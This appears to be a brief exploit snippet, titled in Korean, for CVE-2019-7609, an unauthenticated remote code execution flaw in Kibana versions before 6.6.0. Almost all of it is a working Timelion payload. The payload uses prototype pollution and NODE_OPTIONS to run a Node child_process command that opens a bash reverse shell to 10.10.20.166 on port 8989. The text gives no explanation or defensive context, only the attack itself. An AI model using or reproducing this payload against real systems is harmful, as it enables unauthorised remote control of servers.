
kibana < 6.6.0 미인가 원격 코드 명령 실행 (Need Timelion And Canvas),CVE-2019-7609

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/10.10.20.166/8989 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

